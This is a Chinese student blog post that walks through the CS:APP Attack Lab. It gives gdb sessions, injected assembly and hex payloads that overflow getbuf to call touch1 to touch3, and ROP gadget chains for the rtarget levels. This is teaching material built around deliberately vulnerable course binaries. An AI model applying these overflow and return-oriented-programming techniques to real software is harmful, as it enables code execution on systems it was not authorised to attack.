计算机系统导论实验三 Attack Lab

最新推荐文章于 2025-05-24 11:48:23 发布
最新推荐文章于 2025-05-24 11:48:23 发布
阅读量1.1k 收藏 30
点赞数 24
文章标签： c语言 大作业
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_64404339/article/details/144276064
版权

Attack Lab

参考大佬：https://blog.youkuaiyun.com/weixin_43362650/article/details/120893992

Level1

  • 建议安装gedit来作为文本编辑器apt install gedit
  • 反编译查看代码：objdump -d ctarget
  • 找到关键函数
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    getbuf定义：
unsigned getbuf()
{
    char buf[BUFFER_SIZE];  // 由sub$0x18,%rsp看出大小应该是24
    Gets(buf); 
    return 1;
}

#调试
gdb ctarget
#在getbuf处打断点
(gdb) break getbuf
Breakpoint 1 at 0x40167f: file buf. c, line 12.
# 运行
(gdb) run -q
Starting program: /headless/Desktop/csapp-attacklab/ctarget -q
Cookie: 0x3d9549ca
Breakpoint 1, getbuf () at buf. c: 12
12      buf.c: No such file or directory.
# 此时已经运行到getbuf函数中，查看rsp寄存器地址
(gdb) p $rsp
$1 = (void *) 0x55654cb0
(gdb) x/ 0x55654cb0
0x55654cb0:     4200489     # =401829
  • rsp 的值（0x55654cb0）指向当前栈顶，记录了程序运行到此处时栈的最顶部位置，当前栈顶保存的内容是 0x401829，即 getbuf 执行完成后需要执行的地址（调用点 test 函数中的下一条指令）
# 在getbuf sub$0x18,%rsp 后打上断点
(gdb) break *0x401683
Breakpoint 2 at 0x401683: file buf.c, line 14.
# 运行到断点
(gdb) continue
Continuing.
Breakpoint 2, getbuf () at buf.c: 14
14    in buf.c
# 查看寄存器地址，已经减去了0x18（十进制24）
(gdb) p $rsp
$2 = (void *) 0x55654c98
# 查看返回地址，即函数的返回地址在0x55654cb0，我们只需要将touch1的地址放在这里即可
(gdb) x/ 0x55654c98+24
0x55654cb0:    4200489
  • 构造输入，先填满24个字节再写入touch1的返回地址（0x401695，需要用小端法）
  • 即00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 95 16 40 00 00 00 00 00
    在这里插入图片描述
# 压缩成二进制文本
root@cg:~/Desktop/csapp-attacklab#./hex2raw < one.txt › one-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./ctarget -q < one-raw.txt
Cookie: 0x3d9549ca
Type string:Touchl!: You called touchl()
Valid solution for level 1 with target target
PASS:

Level2

在这里插入图片描述

  • touch2代码

    void touch2(unsigned val)
{
    vlevel = 2;       /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

  • 需要在跳转到touch2的基础上，将参数传递到touch2中

  • 函数第一个参数默认是在寄存器%rdi中传递的，需要将cookie保存到%rdi中，再跳转，cookie在之前运行程序的时候看到了

    (gdb) run -q
Starting program: /headless/Desktop/csapp-attacklab/ctarget -q
Cookie: 0x3d9549ca
Breakpoint 1, getbuf () at buf. c: 12
12      buf.c: No such file or directory.

  • 可以利用getbuf开辟出的栈组织来构建新的代码进行跳转，也就是我们将代码注入到栈组织中，跳转到代码的地址来执行我们的代码

  • 栈组织的顶部是0x55654cb0

    # 查看寄存器地址，已经减去了0x18（十进制24）
(gdb) p $rsp
$2 = (void *) 0x55654c98

  • 我们想要执行的汇编代码

movq $0x3d9549ca,%rdi   #将cookie存入%rdi
push $0x4016c1            #将touch2地址压入栈，ret会跳转到这个地址（即栈顶地址）
ret

在这里插入图片描述

root@cg:~/Desktop/csapp-attacklab# gcc -c two.s
root@cg:~/Desktop/csapp-attacklab# objdump -d two.o › two.d

在这里插入图片描述

  • 即48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00
    在这里插入图片描述
root@cg:~/Desktop/csapp-attacklab# ./hex2raw < two.txt > two-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < two-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:

Level3

在这里插入图片描述
对应函数代码

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;       /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

  • 需要传入字符串形式的cookie，查询ascii码（16进制的ascii码），题目中说要最后加00

  • 3d9549ca --> 33 64 39 35 34 39 63 61

  • hexmatch新建变量会覆盖堆栈，所以不能将cookie放在level2的位置

  • 考虑把cookie对应的字符串放在test的栈中，类似于

    48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00

  • 需要将原level2的汇编修改如下

    movq $0x55654cb8,%rdi   #将cookie对应的字符串的地址存入%rdi，即0x55654cb0+8=0x55654cb8(test程序帧)
push $0x4017ad           #将touch3地址压入栈，ret会跳转到这个地址（即栈顶地址）
ret

root@cg:~/Desktop/csapp-attacklab# gcc -c three.s
root@cg:~/Desktop/csapp-attacklab# objdump -d three.o › three.d
  • 48 c7 c7 b8 4c 65 66 68 ad 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00
    在这里插入图片描述
rootacg:~/Desktop/csapp-attacklab# /hex2raw < three-test.txt › three-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < three-raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3("3d9549ca" )
Valid solution for level 3 with target target
PASS:

Level 4

  • 有指令字节编码
    在这里插入图片描述

  • 反编译objdump -d rtarget > obj-2.txt

  • 根据大佬的理解，我们希望

    • pop %rax（对应栈顶是cookie）
    • retq（对应栈顶是movq %rax,%rdi的地址)
    • retq（对应touch2的地址）

  • popq nop retq，对应地址401876
    在这里插入图片描述

  • movq %rax %rdi %rax %rdi，对应地址401868
    在这里插入图片描述

  • 和level2代码对比

    48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00`

  • 在返回位置写入gadget

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 18 40 00 00 00 00 00 ca 49 95 3d 00 00 00 00 68 18 40 00 00 00 00 00 c1 16 40 00 00 00 00 00`

    即24位填充+popq nop retq+cookie+movq %rax %rdi+touch2地址

    需要注意的是这里的ctarget的cookie和touch2地址需要换成rtarget的
    在这里插入图片描述

root@cg:~/Desktop/csapp-attacklab#./hex2raw < four.txt > four-raw.txt
root@cg: ~/Desktop/csapp-attacklab#./rtarget -q < four-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:

level5

在这里插入图片描述

  • 大佬总结，照抄完事
    在这里插入图片描述

  • 找代码，注意2字节指令，它们可以作为有功能的nop，可以跟在指令后面，最后一定要跟c3

  • movq %rsp,%rax 401934
    在这里插入图片描述

  • movq %rax,%rdi 401868
    在这里插入图片描述

  • pop %rax 401876
    在这里插入图片描述

  • 后面程序有修改，没有movl %eax,%edx，所以重新连线了，只要最终效果是%eax->%esi就可以

  • movl %eax,%ecx 4018b0
    在这里插入图片描述

  • movl %ecx,%edx 4018a3
    在这里插入图片描述

  • movl %edx,%esi 4018ca
    在这里插入图片描述

  • lea(%rdi,%rsi,1),%rax 401887
    在这里插入图片描述

  • movq %rax,%rdi 40185a
    在这里插入图片描述

  • 构建five.txt

  • 构建逻辑，具体理解请看大佬原文档：

    • 24个占位
    • movq %rsp,%rax
    • movq %rax,%rdi
    • pop %rax
    • 0x 48
    • movl %eax,%ecx
    • movl %ecx,%edx
    • movl %edx,%esi
    • lea(%rdi,%rsi,1),%rax
    • movq %rax,%rdi
    • touch3地址
    • cookie
      在这里插入图片描述
root@cg: ~/Desktop/csapp-attacklab#./hex2raw < five.txt › five-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./rtarget
-q < five- raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3 ("3d9549ca" )
Valid solution for level 3 with target target
PASS:
  • 调试手段，gdb进入后在getbug执行完gets的地方打断点，到断点位置查看 栈内是否注入rsp

在这里插入图片描述

(gdb) si
0x0000000000401934 in addval_479 ()
#此时已经进入到我的rop链中,查看寄存器
(gdb) info registers
rax 0x1 1
rbx 0x7fffffffe878
rsi 0x30 48
rdi 0x7ffff7dcda00
rbp 0x7ffffffe760
rsp 0x7ffffffe8210
（SEED-Lab) 密码技术应用实验
lunan的博客
02-17 3959
（SEED-Lab) 密码技术应用实验 欢迎大家访问我的GitHub博客 https://lunan0320.cn 文章目录（SEED-Lab) 密码技术应用实验一、实验目的二、实验步骤与结果Lab TasksTask 1：使用不同的密码算法和加密模式加密Task 2.A: Launching the Race Condition AttackTask 2.B: An Improved Attack MethodTask 3: Countermeasure: Applying the Principl
ICS lab 总结汇总
热门推荐
PKU_ZZY的博客
02-08 1万+
ICS lab 总结
程序性能优化--哈工大计算机系统LAB3 2023春
qwer1234ww的博客
08-22 3149
计算机系统--程序优化
2024年计算机系统基础实训三—AttackLab实验(2)，网络安全系统工程师面试宝典
2401_84281629的博客
05-07 547
n阶段1：使用非ROP方式对ctarget进行攻击，调用touch1，且成功输出Touch1!若不完全满足题目要求，则会提示“Misfire”和FAIL相关字段。n阶段2：使用非ROP方式对ctarget进行攻击，调用touch2，且成功输出Touch2!攻击过程中需要改写cookie变量的值。若不完全满足题目要求，则会提示“Misfire” 和FAIL相关字段。n阶段3：使用非ROP方式对ctarget进行攻击，调用touch3，且成功输出Touch3!
《深入理解计算机系统》怎样学？个人看法和资源分享
达的程序员日记
02-15 6531
《深入理解计算机系统》怎样学？个人看法和资源分享
Format_String_Attack_Lab
Yuhan2001的优快云博客
12-05 4652
软件安全课程实验：Format_String_Attack_Lab； 版本：SeedUbuntu20.04； 课本：计算机安全导论：深度实践；
Shellshock Lab
Yuhan2001的优快云博客
12-05 4356
软件安全课程实验二shellshock； 版本：SeedUbuntu20.04； 课本：计算机安全导论：深度实践；
Race Condition Vulnerability Lab
Yuhan2001的优快云博客
12-12 3997
软件安全课程实验：Race Condition Vulnerability Lab； 版本：SeedUbuntu20.04； 课本：计算机安全导论：深度实践；
Buffer-Overflow_Vulnerability_Lab
Yuhan2001的优快云博客
12-05 5400
软件安全课程实验，Buffer-Overflow_Vulnerability_Lab； 版本：SeedUbuntu16.04； 课本：计算机安全导论：深度实践；
计算机视觉学习资料汇总（超多干货）
qq_29462849的博客
12-21 4199
前言 本资料首发于公众号【3D视觉工坊】，更多干货请关注公众号后台回复关键字获取~ （一）基础操作 Linux 学习网站 Linux中国：https://linux.cn/ 鸟哥的linux私房菜：http://linux.vbird.org/ Linux公社： https://www.linuxidc.com/ 学习书籍 《鸟哥的Linux私房菜》 《Linux命令行与shell脚本编程大全》 ...
那些精贵的3D视觉系统学习资源总结（附书籍、网址与视频教程）
qq_29462849的博客
12-19 2031
点击上方“3DCVer”，选择“星标”干货第一时间送达之前我们总结了一篇关于3D视觉系统学习路线——《吐血整理|3D视觉系统化学习路线》，本文重点是对于各个模块的一些资料整理，如有不完善...
使用 C 语言做应用开发的注意事项
Sun_Seeker的博客
05-24 959
笔者在基于 C 语言开发 EdgeX Foundry 设备服务实践之中，遇到如 全局变量的使用、.c 模块文件的划分、多线程编程注意事项、深浅拷贝问题 以及 编译链接时的多重定义问题。本文将对其展开讨论，并提供具体的代码示例和实用建议。
ESP32中文相关资料+Arduino实验 例程源码.zip
05-27
ESP32中文相关资料+Arduino实验 例程源码，ESP32中文相关资料+Arduino实验 例程源码，ESP32中文相关资料+Arduino实验 例程源码.zip
基于SPWM的异步电机无速度传感器矢量控制技术及其应用
最新发布
05-27
内容概要：本文详细介绍了基于SPWM（正弦脉宽调制）的异步电机无速度传感器矢量控制技术。首先概述了异步电机的特点及其传统控制方法存在的局限性，接着阐述了SPWM技术和矢量控制的基本原理。文中还提供了简化的代码示例，展示了如何通过读取电机的电压和电流信息，利用矢量控制算法估算电机的速度和位置，并使用SPWM技术生成PWM信号来驱动电机。最后强调了系统实时性的要求，并展望了该技术在未来的发展前景。 适合人群：从事电机控制、工业自动化、电力电子等相关领域的工程师和技术人员。 使用场景及目标：适用于希望深入了解和掌握异步电机无速度传感器矢量控制技术的研究人员和开发者，旨在提高电机控制精度和效率，降低系统复杂度和成本。 其他说明：该技术在工业自动化、电动汽车、机器人技术等领域有广泛应用潜力，对于提升设备性能和可靠性具有重要意义。
绘制船舶GUI的体格设计和静水压力计算Matlab代码.rar
05-27
1.版本：matlab2014/2019a/2024a 2.附赠案例数据可直接运行。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
第12章软件项目管理.pptx
05-27
第12章软件项目管理.pptx
计算机导论实验资料：压缩包viple详细介绍
计算机导论实验通常是指计算机科学与技术专业的入门级实验课程，旨在帮助初学者建立起对计算机系统、算法和编程等基础概念的理解。由于提供的文件信息中并未包含具体的实验内容或文件列表，我们只能基于文件名...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰宸旻

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值